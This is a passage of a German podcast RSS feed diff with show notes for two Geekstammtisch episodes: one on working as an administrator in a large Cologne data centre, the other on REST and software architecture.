+ * Inhouse Servicecenter für den First Level Support, wenn das nicht reicht, landen die Tickets im Team im Second Level Support
+ * Ärzte schrauben ganz gerne mal selbst an PCs rum und mailen an alle über den Mailverteiler
+ * Basti hat mal in einer Firma die Druckerlandschaft mitkonfiguriert, globales Auslesen von über SNMP von Tonerfüllständen mit Abgleich auf den Lagerbestand und ggf. direkte automatisierte Bestellung beim Händler
+ * Drucker sind natürlich auch im Icinga ;-) Telefone allerdings nicht mehr
+ * Icinga hört immer dort auf, wo es spezialisierte Tools der jeweilgen Produkte gibt
+ * JBoss Operation Network (http://de.redhat.com/products/jbossenterprisemiddleware/operations-network/)
+ * Ungelöstes Problem: Monitoring und Alerting der Kaffeemaschinen
+
+### K-Fälle (01:02:35)
+
+ * K-Fälle wie Katastrophenfälle
+ * Redundanz bedeutet in diesem Fall auch, dass ein Rechenzentrum wegbrechen kann
+ * Für diesen Fall werden unterschiedliche Szenarien durchgespielt, um Lücken im System zu entdecken
+ * ESX-Cluster werden inkl. Storage zwischen den Rechenzentren gespiegelt und im Hot-Standby gehalten
+ * Dafür braucht man dann allerdings auch entsprechend Bandbreite
+ * Wir vermuten, dass Darkfibers in Köln zu bekommen kein Problem sein sollten
+ * Diese hohe Ausfallsicherheit lohnt sich erst für Projekte/System ab einem gewissen Grad, vorher macht es finanziell einfach keinen Sinn
+ * Finanziell bedeutet in diesem Fall weniger Hardware, sondern vor allem Personal, Organisation und Prozess
+ * Resultat ist in jedem Fall die Einbüßung von Flexibilität
+ * Hohe Anhängigkeiten zwischen verschiedenen Teams
+
+### Deployment, Koordination (01:10:30)
+
+ * Produktmanager koordinieren zwischen Kunde, externer Entwicklung und Infrastruktur
+ * Es gibt komplexe Abhängigkeiten zwischen verschiedenen System (sowohl in Hard- als auch Software)
+ * Zero-Downtime Deployments werden angestrebt, aber sind nicht immer möglich
+ * Vor Deployments: Wöchentliche Meetings von Teams zur Koordination
+
+### Tooling (01:16:00)
+
+ * Excel ist ein wichtiges Werkzeug *hust*, soll aber langsam abgelöst werden
+ * Confluence ist seit neustem im Einsatz (https://www.atlassian.com/de/software/confluence)
+ * OwnCloud (http://owncloud.org/) ist auch hinzugekommen
+
+### git, Gitlab, Stash, Github Enterprise (01:18:35)
+
+ * bisher SVN: https://subversion.apache.org/
+ * aber Essy hat Gitlab aufgesetzt: https://www.gitlab.com/
+ * Wir erzählen Essy von Stash: https://www.atlassian.com/software/stash
+ * Integration in Confluence & Co
+ * Betrieb macht man selber (wie bei GHE), für hosted nimmt man dann Bitbucket https://bitbucket.org/
+ * Ja, Github kann auch SVN sprechen!
+ * Github Enterprise: https://enterprise.github.com/
+
+### Administration und Automatisierung (01:25:00)
+
+ * Turnschuh-Administration: Monkey see, Monkey do!
+ * Automatisierung ist nicht for-free und ein anhaltender Prozess
+ * "Läuft's noch oder automatisierst du schon?" (@bascht)
+
+### Backups (01:28:20)
+
+ * Regelmäßig machen, lang genug aufbewahren UND
+ * Restore testen!
+ * Bei Essys Arbeitgeber gibt es dazu ein dediziertes Backup Team
+ * von VMs werden Snapshots erstellt und gesichert
+ * Restore ist ein Informationssicherheitsvorfall
+
+### Chaos Monkey (01:32:20)
+
+ * Wir fragen Essy, was mit dem Testen von Infrastruktur ist
+ * Chaos Monkey bei Netflix (http://techblog.netflix.com/2012/07/chaos-monkey-released-into-wild.html)
+ * Chaos Gorilla macht ganze AWS Availability Zones aus
+ * Mehr Monkeys… Latency Monkey, Conformity Monkey, Doctor Monkey, Janitor Monkey, Security Monkey, 10-18 Monkey: http://techblog.netflix.com/2011/07/netflix-simian-army.html
+ * Essy sagt, das sei im VMware Land (auch) möglich
+
+### IPv6 (01:38:05)
+
+ * Bei Essy noch kein IPv6
+ * IPv6 CRE: http://cre.fm/cre197-ipv6
+
+### Verschiedenes (01:38:30)
+
+ * es gibt einen regelmäßigen Austausch zwischen den Teams
+ * ActiveDirectory: https://en.wikipedia.org/wiki/Active_Directory
+
+### Telearbeit (01:45:00)
+
+ * Essy hat einen (Windows) Arbeitsrechner und darf mit ihrem Mac Book nicht ins Firmennetz
+ * WPA2: https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access
+ * Remote Zugang via Citrix, dann via Remote Desktop (RDP) zum Arbeitsrechner und von da aus zu den Servern
+ * Problem dabei: Keyboard Shortcuts funktionieren wegen dem hin- und hermapping nicht so richtig
+ * Essy kann Heimarbeit machen, sofern es keine Notwendigkeit gibt, Vorort zu arbeiten
+
+### Homesetup (01:53:55)
+
+ * Essy hat drei Displays (sowohl zuhause als auch auf der Arbeit) und sich kürzlich neue Hardware für einen Desktop Rechner gekauft
+ * Dirk und Basti haben schon EWIG keinen Rechner mehr komplett aus Einzelteilen gebaut
+
+### Abschluß (01:59:15)
+
+ * Es gibt wohl Führungen durch ein Vorzeigerechenzentrum!
+ * Girls'Day: http://www.girls-day.de/]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Mit Essy (<a href="https://twitter.com/casheeew">@casheeew</a>) sprachen wir ausführlich über das Leben und
+Arbeiten einer Administratorin innerhalb eines großen Rechenzentrums. Es geht
+um Prozesse, Betrieb, Deployment und Komplexität im Umfeld von großen
+Hostingumgebungen. Wir gehen auf diverse Aspekte etwas näher ein und erhalten
+einen recht vollständigen Einblick in ihren Arbeitsalltag.</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
+<ul>
+<li>Essy podcastet sonst bei der Nerdkunde: <a href="http://nerdkun.de">http://nerdkun.de</a></li>
+<li>Hat mal &quot;Bindestrichinformatik&quot; studiert und macht nun ihren berufsbegleitenden Master an der FH-Köln
+
+<ul>
+<li>Master Studium WebScience an der FH Köln: <a href="http://webscience.fh-koeln.de/live/">http://webscience.fh-koeln.de/live/</a></li>
+<li>Basti und Dirk haben an der FH Köln auch ihren Master gemacht: <a href="http://www.medieninformatik.fh-koeln.de/website/general/startseite/startseite_527/de/de_startseite_articl_1.php">http://www.medieninformatik.fh-koeln.de/website/general/startseite/startseite_527/de/de_startseite_articl_1.php</a></li>
+<li>Es gibt eine gewisse Deckungsgleichheit bei den Dozenten ^^</li>
+<li>Vorlesungen finden abends via Webcam statt</li>
+<li>Fokus (noch) auf Theorie, weniger Implementierung</li>
+<li>Alle Klausuren (~8) sind an einem Wochenende</li>
+</ul></li>
+<li>Weiterempfehlungsgrad von WebScience: Kommt drauf an was man möchte ;-)</li>
+</ul>
+
+<h3>Deployment über Netzwerkfreigabe (00:10:44)</h3>
+
+<ul>
+<li>In GST029 (<a href="http://geekstammtisch.de/#GST029">http://geekstammtisch.de/#GST029</a>) haben wir über Java-Entwicklung und Betrieb gesprochen, dabei viel der Begriff JBoss</li>
+<li>Und Essy setzt sich beruflich mit dem Betrieb von Anwendungen auf dem JBoss auseinander</li>
+<li>Essy arbeitet bei einem großen Rechenzentrum in Köln</li>
+<li>Betrieben werden dort die unterschiedlichsten Anwendungen (vor allem auch große Anwendungen mit vielen Abhängigkeiten)</li>
+<li>Herausforderungen: Leben mit komplexeren Prozessen als bei einem Fancy-Web-Startupâ„¢</li>
+<li>Deployment für den JBoss läuft zum Beispiel so ab:
+
+<ul>
+<li>Kunde legt Auszug aus seinem JBoss inkl. aller Konfigurationen auf einer Netzwerkfreigabe ab</li>
+<li>Essy sucht Änderungen zwischen altem und neuem Stand heraus</li>
+<li>Änderungen werden auf allen Systemen eingespielt</li>
+</ul></li>
+<li>Klingt umständlich und ist es auch, daher der Plan: Verwendung von Puppet: <a href="http://puppetlabs.com/">http://puppetlabs.com/</a></li>
+<li>Trotz der Strukturen und Prozesse ist es Essy und ihren Kollegen überlassen welche Tools intern verwendet werden, solange das Ergebnis am Ende passt</li>
+<li>Warum mit Puppet? Die nächste Version des Red Hat Enterprise Satellite Server (<a href="http://de.redhat.com/products/enterprise-linux/satellite/">http://de.redhat.com/products/enterprise-linux/satellite/</a>) setzt auf Puppet auf, daher war hier der Wunsch Puppet auch für weitere Bereiche einzusetzen</li>
+</ul>
+
+<h3>Server, Monitoring &amp; Bereitschaft (00:26:00)</h3>
+
+<ul>
+<li>Essy verantwortet den vollständigen Server</li>
+<li>Die Maschine wird lediglich von einem anderen Team bereitgestellt und übergeben</li>
+<li>Neben Maschinen für Kunden gibt es auch Maschinen für Forschung &amp; Entwicklung</li>
+<li>Basis-Monitoring (Erreichbarkeit, Plattenfüllstand, etc) kommt mit dem Server mit</li>
+<li>Weiteres Monitoring lässt sich dann hinzufügen</li>
+<li>Monitoring läuft über Icinga (<a href="https://www.icinga.org/">https://www.icinga.org/</a>), einem Nagios (<a href="http://www.nagios.org/">http://www.nagios.org/</a>) Ableger</li>
+<li>Es gibt natürlich auch eine 24x7 Bereitschaft (in der nicht alle Server enthalten sind)</li>
+<li>Folge ist: Systeme werden so redundant und solide aufgesetzt, dass man Nachts nicht angerufen wird</li>
+<li>Das bedeutet auch, dass man Bereitschaft für Systeme machen muss, die man in der Regel nicht selbst betreut</li>
+<li>Dafür existiert dann entsprechende Dokumentation, die regelmäßig kontrolliert und auditiert wird</li>
+</ul>
+
+<h3>Softwarelandschaft (00:35:48)</h3>
+
+<ul>
+<li>Unterschiedlichste Versionsstände von (beispielsweise) Java (von alt bis ganz neu)</li>
+<li>JBoss wird nicht in der Community-Variante verwendet, sondern in der kommerziell unterstützten</li>
+<li>Die Open-Source Variante wird auch nicht mehr JBoss heißen, sondern WildFly (<a href="https://github.com/wildfly/wildfly">https://github.com/wildfly/wildfly</a>)</li>
+<li>Kostet nicht unerheblich, aber weniger im Vergleich zu anderen Produkten</li>
+<li>Support lohnt sich und wurde von Essy auch immer mal wieder in Anspruch genommen</li>
+<li>Als Dienstleister hat mal im Grunde keine andere Wahl als den kommerziellen Support sowohl von Red Hat Linux als auch JBoss zu nehmen</li>
+<li>Aus diesem Grund wird Ruby 1.8.7 auch immer noch von Red Hat gepflegt</li>
+<li>Was dann natürlich zu anderen Problemen führt ^^</li>
+</ul>
+
+<h3>Virtualisierung (00:40:40)</h3>
+
+<ul>
+<li>Ein Großteil der Server laufen auf VMWare ESX Virtualisierung:
+
+<ul>
+<li>Der ESX-Hypervisor läuft direkt auf dem Server ohne weiteres Betriebssytem (<a href="https://en.wikipedia.org/wiki/VMware_ESX">https://en.wikipedia.org/wiki/VMware_ESX</a>)</li>
+<li>VMware (<a href="http://www.vmware.com/de">http://www.vmware.com/de</a>)</li>
+<li>VMware vSphere (<a href="http://www.vmware.com/de/products/vsphere">http://www.vmware.com/de/products/vsphere</a>)</li>
+<li>VMware vCenter zum Verwalten/Clustern von mehreren VMware ESX Servern mit DRS (Dynamic Resource Scheduling) und HA (High Availability)(<a href="http://www.vmware.com/de/products/vcenter-server">http://www.vmware.com/de/products/vcenter-server</a>)</li>
+</ul></li>
+<li>Einige Dinge machen virtualisiert einfach keinen Sinn (manchmal auch aus Lizenzgründen…)</li>
+<li>Virtualisierung ist auf diesem Niveau schon sehr spaßig: Einfach mal laufende Server per Mausklick auf andere Hardware ziehen</li>
+<li>Für ein Rechenzentrum extrem sinnvoll</li>
+</ul>
+
+<h3>Prozesszertifizierung, Support und Monitoring der Kaffeemaschinen (00:44:35)</h3>
+
+<ul>
+<li>Zertifizierung ist für einen Betreiber eines Rechenzentrums sehr wichtig</li>
+<li>Die ISO in diesem Fall ist die 27001 (<a href="http://de.wikipedia.org/wiki/ISO/IEC_27001">http://de.wikipedia.org/wiki/ISO/IEC_27001</a>)</li>
+<li>In diesem Zuge werden vor allem organisatorische Aspekte geprüft</li>
+<li>Neben der Dokumentation der Prozesse werden aber auch Gespräche mit Mitarbeitern geführt und exemplarisch Server betrachtet</li>
+<li>Das Audit findet jährlich statt</li>
+<li>Pentesting (<a href="http://de.wikipedia.org/wiki/Penetrationstest_(Informatik)">http://de.wikipedia.org/wiki/Penetrationstest_(Informatik)</a>) ist nicht Teil der Zertifizierung</li>
+<li>Glücklicherweise keine PCI Zertifizierung (<a href="http://de.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard">http://de.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard</a>)</li>
+<li>Bei der Vielzahl von Kunden und Projekten lassen sich umfangreiche Prozesse am Ende aber nicht vermeiden</li>
+<li>Das Maximum an Projekten, die man so übernimmt varriert und hängt von der Komplexität der jeweiligen Projekte ab</li>
+<li>Essy macht glücklicherweise kaum bis keinen Support (:</li>
+<li>Der Rest des Teams macht aber durchaus auch mehr 2nd-Level Support</li>
+<li>2nd-Level Support hat keinen unmittelbaren Kontakt mit dem Kunden</li>
+<li>Inhouse Servicecenter für den First Level Support, wenn das nicht reicht, landen die Tickets im Team im Second Level Support</li>
+<li>Ärzte schrauben ganz gerne mal selbst an PCs rum und mailen an alle über den Mailverteiler</li>
+<li>Basti hat mal in einer Firma die Druckerlandschaft mitkonfiguriert, globales Auslesen von über SNMP von Tonerfüllständen mit Abgleich auf den Lagerbestand und ggf. direkte automatisierte Bestellung beim Händler</li>
+<li>Drucker sind natürlich auch im Icinga ;-) Telefone allerdings nicht mehr</li>
+<li>Icinga hört immer dort auf, wo es spezialisierte Tools der jeweilgen Produkte gibt
+
+<ul>
+<li>JBoss Operation Network (<a href="http://de.redhat.com/products/jbossenterprisemiddleware/operations-network/">http://de.redhat.com/products/jbossenterprisemiddleware/operations-network/</a>)</li>
+</ul></li>
+<li>Ungelöstes Problem: Monitoring und Alerting der Kaffeemaschinen</li>
+</ul>
+
+<h3>K-Fälle (01:02:35)</h3>
+
+<ul>
+<li>K-Fälle wie Katastrophenfälle</li>
+<li>Redundanz bedeutet in diesem Fall auch, dass ein Rechenzentrum wegbrechen kann</li>
+<li>Für diesen Fall werden unterschiedliche Szenarien durchgespielt, um Lücken im System zu entdecken</li>
+<li>ESX-Cluster werden inkl. Storage zwischen den Rechenzentren gespiegelt und im Hot-Standby gehalten</li>
+<li>Dafür braucht man dann allerdings auch entsprechend Bandbreite</li>
+<li>Wir vermuten, dass Darkfibers in Köln zu bekommen kein Problem sein sollten</li>
+<li>Diese hohe Ausfallsicherheit lohnt sich erst für Projekte/System ab einem gewissen Grad, vorher macht es finanziell einfach keinen Sinn</li>
+<li>Finanziell bedeutet in diesem Fall weniger Hardware, sondern vor allem Personal, Organisation und Prozess</li>
+<li>Resultat ist in jedem Fall die Einbüßung von Flexibilität</li>
+<li>Hohe Anhängigkeiten zwischen verschiedenen Teams</li>
+</ul>
+
+<h3>Deployment, Koordination (01:10:30)</h3>
+
+<ul>
+<li>Produktmanager koordinieren zwischen Kunde, externer Entwicklung und Infrastruktur</li>
+<li>Es gibt komplexe Abhängigkeiten zwischen verschiedenen System (sowohl in Hard- als auch Software)</li>
+<li>Zero-Downtime Deployments werden angestrebt, aber sind nicht immer möglich</li>
+<li>Vor Deployments: Wöchentliche Meetings von Teams zur Koordination</li>
+</ul>
+
+<h3>Tooling (01:16:00)</h3>
+
+<ul>
+<li>Excel ist ein wichtiges Werkzeug <em>hust</em>, soll aber langsam abgelöst werden</li>
+<li>Confluence ist seit neustem im Einsatz (<a href="https://www.atlassian.com/de/software/confluence">https://www.atlassian.com/de/software/confluence</a>)</li>
+<li>OwnCloud (<a href="http://owncloud.org/">http://owncloud.org/</a>) ist auch hinzugekommen</li>
+</ul>
+
+<h3>git, Gitlab, Stash, Github Enterprise (01:18:35)</h3>
+
+<ul>
+<li>bisher SVN: <a href="https://subversion.apache.org/">https://subversion.apache.org/</a></li>
+<li>aber Essy hat Gitlab aufgesetzt: <a href="https://www.gitlab.com/">https://www.gitlab.com/</a></li>
+<li>Wir erzählen Essy von Stash: <a href="https://www.atlassian.com/software/stash">https://www.atlassian.com/software/stash</a>
+
+<ul>
+<li>Integration in Confluence &amp; Co</li>
+<li>Betrieb macht man selber (wie bei GHE), für hosted nimmt man dann Bitbucket <a href="https://bitbucket.org/">https://bitbucket.org/</a></li>
+</ul></li>
+<li>Ja, Github kann auch SVN sprechen!</li>
+<li>Github Enterprise: <a href="https://enterprise.github.com/">https://enterprise.github.com/</a></li>
+</ul>
+
+<h3>Administration und Automatisierung (01:25:00)</h3>
+
+<ul>
+<li>Turnschuh-Administration: Monkey see, Monkey do!</li>
+<li>Automatisierung ist nicht for-free und ein anhaltender Prozess</li>
+<li>&quot;Läuft&#39;s noch oder automatisierst du schon?&quot; (<a href="https://twitter.com/bascht">@bascht</a>)</li>
+</ul>
+
+<h3>Backups (01:28:20)</h3>
+
+<ul>
+<li>Regelmäßig machen, lang genug aufbewahren UND</li>
+<li>Restore testen!</li>
+<li>Bei Essys Arbeitgeber gibt es dazu ein dediziertes Backup Team</li>
+<li>von VMs werden Snapshots erstellt und gesichert</li>
+<li>Restore ist ein Informationssicherheitsvorfall</li>
+</ul>
+
+<h3>Chaos Monkey (01:32:20)</h3>
+
+<ul>
+<li>Wir fragen Essy, was mit dem Testen von Infrastruktur ist</li>
+<li>Chaos Monkey bei Netflix (<a href="http://techblog.netflix.com/2012/07/chaos-monkey-released-into-wild.html">http://techblog.netflix.com/2012/07/chaos-monkey-released-into-wild.html</a>)
+
+<ul>
+<li>Chaos Gorilla macht ganze AWS Availability Zones aus</li>
+<li>Mehr Monkeys… Latency Monkey, Conformity Monkey, Doctor Monkey, Janitor Monkey, Security Monkey, 10-18 Monkey: <a href="http://techblog.netflix.com/2011/07/netflix-simian-army.html">http://techblog.netflix.com/2011/07/netflix-simian-army.html</a></li>
+</ul></li>
+<li>Essy sagt, das sei im VMware Land (auch) möglich</li>
+</ul>
+
+<h3>IPv6 (01:38:05)</h3>
+
+<ul>
+<li>Bei Essy noch kein IPv6</li>
+<li>IPv6 CRE: <a href="http://cre.fm/cre197-ipv6">http://cre.fm/cre197-ipv6</a></li>
+</ul>
+
+<h3>Verschiedenes (01:38:30)</h3>
+
+<ul>
+<li>es gibt einen regelmäßigen Austausch zwischen den Teams</li>
+<li>ActiveDirectory: <a href="https://en.wikipedia.org/wiki/Active_Directory">https://en.wikipedia.org/wiki/Active_Directory</a></li>
+</ul>
+
+<h3>Telearbeit (01:45:00)</h3>
+
+<ul>
+<li>Essy hat einen (Windows) Arbeitsrechner und darf mit ihrem Mac Book nicht ins Firmennetz</li>
+<li>WPA2: <a href="https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access">https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access</a></li>
+<li>Remote Zugang via Citrix, dann via Remote Desktop (RDP) zum Arbeitsrechner und von da aus zu den Servern</li>
+<li>Problem dabei: Keyboard Shortcuts funktionieren wegen dem hin- und hermapping nicht so richtig</li>
+<li>Essy kann Heimarbeit machen, sofern es keine Notwendigkeit gibt, Vorort zu arbeiten</li>
+</ul>
+
+<h3>Homesetup (01:53:55)</h3>
+
+<ul>
+<li>Essy hat drei Displays (sowohl zuhause als auch auf der Arbeit) und sich kürzlich neue Hardware für einen Desktop Rechner gekauft</li>
+<li>Dirk und Basti haben schon EWIG keinen Rechner mehr komplett aus Einzelteilen gebaut</li>
+</ul>
+
+<h3>Abschluß (01:59:15)</h3>
+
+<ul>
+<li>Es gibt wohl Führungen durch ein Vorzeigerechenzentrum!</li>
+<li>Girls&#39;Day: <a href="http://www.girls-day.de/">http://www.girls-day.de/</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST030" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Unser Gast" />
+
+ <psc:chapter start="00:10:44" title="Deployment über Netzwerkfreigabe" />
+
+ <psc:chapter start="00:26:00" title="Server, Monitoring &amp; Bereitschaft" />
+
+ <psc:chapter start="00:35:48" title="Softwarelandschaft" />
+
+ <psc:chapter start="00:40:40" title="Virtualisierung" />
+
+ <psc:chapter start="00:44:35" title="Prozesszertifizierung, Support und Monitoring der Kaffeemaschinen" />
+
+ <psc:chapter start="01:02:35" title="K-Fälle" />
+
+ <psc:chapter start="01:10:30" title="Deployment, Koordination" />
+
+ <psc:chapter start="01:16:00" title="Tooling" />
+
+ <psc:chapter start="01:18:35" title="git, Gitlab, Stash, Github Enterprise" />
+
+ <psc:chapter start="01:25:00" title="Administration und Automatisierung" />
+
+ <psc:chapter start="01:28:20" title="Backups" />
+
+ <psc:chapter start="01:32:20" title="Chaos Monkey" />
+
+ <psc:chapter start="01:38:05" title="IPv6" />
+
+ <psc:chapter start="01:38:30" title="Verschiedenes" />
+
+ <psc:chapter start="01:45:00" title="Telearbeit" />
+
+ <psc:chapter start="01:53:55" title="Homesetup" />
+
+ <psc:chapter start="01:59:15" title="Abschluß" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST031 - CORBA in cool</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Wir haben mit Stefan Tilkov über Softwarearchitekturen, REST und das Web gesprochen.</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst031.mp3" length="58132310" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST031</guid>
+ <pubDate>Mon, 14 Apr 2014 13:39:53 +0200</pubDate>
+ <itunes:duration>01:20:22</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Mit Stefan Tilkov (@stilkov) sprachen wir über
+Softwarearchitekturen, vor allem REST und Web Services. Wir haben keine 800
+Personenjahre gebraucht, um festzustellen, dass Thrift CORBA in cool ist und
+die Idee "Rechte Maustaste, 'Generate and Deploy Web Service'" nicht wirklich
+funktioniert. Neben REST im Allgemeinen sprechen wir über Hypermedia und wie
+alles zusammengreifen kann. Stefan schlägt eine interessante Brücke von der
+Idee REST als Backend-Thema hin zu REST für das Web, wodurch wir zu ROCA, einem
+Architekturstil, kommen.
+
+
+### Unser Gast (00:00:00)
+
+ * Stefan Tilkov, @stilkov, http://www.innoq.com/blog/st/about/
+ * REST und HTTP: Einsatz der Architektur des Web für Integrationsszenarien, Stefan Tilkov: http://rest-http.info
+ * Macht zum Teil Management und sonst wozu er so Lust hat: Workshops, Konferenzen, Schulungen, …
+ * Hat C, C++, Java und und und gemacht, sein aktueller Favorit ist allerdings: Clojure
+
+
+### Architektur im Wandel (00:02:45)
+
+ * "architect" is Latin for "cannot code anymore.", Ted Neward: http://msdn.microsoft.com/en-us/library/aa905335.aspx
+ * "Architektur ist die Menge der wichtigen Entscheidungen", Stefan Tilkov :)
+ * Anwendungsarchitektur Anfang der 2000er
+ * Irgendwann wurde der Begriff "Architektur" negativ belegt
+
+
+### Projekte bei innoQ (00:05:10)
+
+ * 60 Leute bei innoQ
+ * 20% strategische Beratung
+ * 80% Entwicklungsprojekt, teilweise nur mitarbeiten, teilweise komplett selber verantwortet
+ * bei innoQ werden immer wieder die Rollen/Aufgaben und Projekte gewechselt
+
+
+### Architektur: negativ? (00:08:40)
+
+ * Agile Is Dead (Long Live Agility), Dave Thomas: http://pragdave.me/blog/2014/03/04/time-to-kill-agile/
+ * Rollen (z.B. "der Architekt") ergeben sich oft automatisch, ohne dass es vorgegeben ist
+ * Architektur negativ? "Ist wie ich darf nicht mehr nachdenken!"
+
+
+### REST (00:12:05)
+
+ * REST: https://en.wikipedia.org/wiki/Representational_state_transfer
+ * Representational State Transfer (REST), Roy Fielding, Dissertation (2000), Kapitel 5: https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm
+ * Roy Fieldings Blog: http://roy.gbiv.com/untangled/
+ * REST war eigentlich vor der SOAP/WS-* Welle da
+ * Ressourcen haben eine URI und sind damit identifizierbar
+ * Standard-Interface um mit Ressourcen zu interagieren: GET, PUT, POST, DELETE
+ * Hypermedia: https://en.wikipedia.org/wiki/Hypermedia
+ * REST Maturity Models (RMM): http://martinfowler.com/articles/richardsonMaturityModel.html
+
+
+### Der WS-Weg (00:16:55)
+
+ * Leute müssen für Webservices oft missioniert werden; bei REST ist das deutlich einfacher
+ * Bei Web Serivces entwirft man permanent neue Protokolle (mit SOAP)
+ * WSDL: http://www.w3.org/TR/wsdl
+ * Enterprise Service Bus: https://en.wikipedia.org/wiki/Enterprise_service_bus
+
+
+### Microservices vs SOA? (00:22:05)
+
+ * James Lewis, Martin Fowler über Microservices: http://martinfowler.com/articles/microservices.html
+ * Jim Webber "Guerilla SOA": http://www.infoq.com/presentations/webber-guerilla-soa
+
+
+### Hypermedia Explained (00:23:53)
+
+ * Hypermedia: https://en.wikipedia.org/wiki/Hypermedia
+ * Heute sind REST APIs relativ gut (kein GET mehr, um eine Ressource zu löschen)
+ * URI Templating, http://whatisrest.com/rest_service_contracts/uri_templates_and_resource_queries
+ * REST APIs haben eine Startseite, von wo aus der Clients den Links folgen kann
+ * Der API Client braucht nicht so festverdrahtet sein
+ * Links für Ressourcen signalisieren dem Client, wie er mit einer Ressource interagieren kann
+ * Architekturstile (https://de.wikipedia.org/wiki/Architekturstil) haben immer Tradeoffs!
+ * Apache Thrift: https://en.wikipedia.org/wiki/Apache_Thrift
+ * CORBA: https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture
+ * URI Templates sind ein Rezept, um z.B. eine große Menge von Links abzubilden
+ * HTML ist ein schönes Beispiel: Mit einem Formular und GET
+ * HTML ist ein Hypermedia Format!
+ * Ein Browser ist quasi ein Hypermedia Client
+ * REST sollte Standardformate, selbstbeschreibender Nachrichten verwenden
+ * IANA Media Types: https://www.iana.org/assignments/media-types/media-types.xhtml
+ * Populäre Formate: JSON, XML
+ * JSON Schema: http://json-schema.org/
+ * JSON & Hypermedia
+ * Collection+JSON: http://amundsen.com/media-types/collection/
+ * Hypertext Application Language: http://stateless.co/hal_specification.html
+ * Siren: https://github.com/kevinswiber/siren
+ * Jon Moore, "Building Hypermedia APIs with HTML": http://www.infoq.com/presentations/web-api-html
+ * AtomPub, The Atom Publishing Protocol: http://bitworking.org/projects/atom/rfc5023.html
+
+
+### REST für das Web (00:45:00)
+
+ * REST ist die Architektur des Webs und nicht nur von Web Services
+ * ROCA: Resource-oriented Client Architecture: http://roca-style.org
+ * Single Page Application Frameworks: http://emberjs.com, http://angularjs.org, http://backbonejs.org, ...
+ * Yehuda Katz: http://yehudakatz.com/
+ * JSON API: http://jsonapi.org/
+ * ROCA: Server-seitiges HTML, App Logik nur im Server, Seite funktioniert ohne JavaScript, JavaScript erweitert nur, Progressive Enhancement (https://en.wikipedia.org/wiki/Progressive_enhancement), ...
+ * History API: http://diveintohtml5.info/history.html
+ * SEO & Single Page Apps: http://backbonetutorials.com/seo-for-single-page-apps/
+ * iTunes im Browser? o_O z.B. mit https://vaadin.com/home
+ * Monolithen aufbrechen; die einzelnen Teile sollten auch ein eigenes UI haben
+ * Breaking the monolith: Towards a system-of-systems architecture: http://vimeo.com/74354372
+ * jQuery UI: https://jqueryui.com/
+ * ember.js und AngularJS bieten Konventionen und vermeiden Diskussionen (meint Basti)
+ * Web Framework Ansatz: "Wir nehmen entweder JSF oder Grails oder JRuby oder Angular oder jQuery"
+ * Architektur sollte unabhängig sein von der Implementierung
+ * Bower: http://bower.io/
+ * "build for replacement, not for reuse"
+ * The Twelve-Factor App: http://12factor.net/
+
+
+### Web Services, REST (01:11:30)
+
+ * innoQ macht auch Projekte im klassischen Web Service Kontext
+ * Web Service Metadaten mit RESTful HTTP managen
+ * UDDI: https://en.wikipedia.org/wiki/Universal_Description_Discovery_and_Integration
+ * WSDL: https://en.wikipedia.org/wiki/Web_Services_Description_Language
+ * WS-MetadataExchange: https://en.wikipedia.org/wiki/WS-MetadataExchange
+
+
+### Ausblick (01:17:20)
+
+ * Alte Ideen tauchen in neuen Konzepten wieder auf; verschiedene Gruppe lernen von einander
+ * JAXconf: http://jaxconf.com/
+ * innoQ Timeline: http://www.innoq.com/de/timeline/
+ * innoQ Podcast: http://www.innoq.com/de/timeline/?type=podcast_episodes]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Mit Stefan Tilkov (<a href="https://twitter.com/stilkov">@stilkov</a>) sprachen wir über
+Softwarearchitekturen, vor allem REST und Web Services. Wir haben keine 800
+Personenjahre gebraucht, um festzustellen, dass Thrift CORBA in cool ist und
+die Idee &quot;Rechte Maustaste, &#39;Generate and Deploy Web Service&#39;&quot; nicht wirklich
+funktioniert. Neben REST im Allgemeinen sprechen wir über Hypermedia und wie
+alles zusammengreifen kann. Stefan schlägt eine interessante Brücke von der
+Idee REST als Backend-Thema hin zu REST für das Web, wodurch wir zu ROCA, einem
+Architekturstil, kommen.</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
+<ul>
+<li>Stefan Tilkov, <a href="https://twitter.com/stilkov">@stilkov</a>, <a href="http://www.innoq.com/blog/st/about/">http://www.innoq.com/blog/st/about/</a></li>
+<li>REST und HTTP: Einsatz der Architektur des Web für Integrationsszenarien, Stefan Tilkov: <a href="http://rest-http.info">http://rest-http.info</a></li>
+<li>Macht zum Teil Management und sonst wozu er so Lust hat: Workshops, Konferenzen, Schulungen, …</li>
+<li>Hat C, C++, Java und und und gemacht, sein aktueller Favorit ist allerdings: Clojure</li>
+</ul>
+
+<h3>Architektur im Wandel (00:02:45)</h3>
+
+<ul>
+<li>&quot;architect&quot; is Latin for &quot;cannot code anymore.&quot;, Ted Neward: <a href="http://msdn.microsoft.com/en-us/library/aa905335.aspx">http://msdn.microsoft.com/en-us/library/aa905335.aspx</a></li>
+<li>&quot;Architektur ist die Menge der wichtigen Entscheidungen&quot;, Stefan Tilkov :)</li>
+<li>Anwendungsarchitektur Anfang der 2000er</li>
+<li>Irgendwann wurde der Begriff &quot;Architektur&quot; negativ belegt</li>
+</ul>
+
+<h3>Projekte bei innoQ (00:05:10)</h3>
+
+<ul>
+<li>60 Leute bei innoQ</li>
+<li>20% strategische Beratung</li>
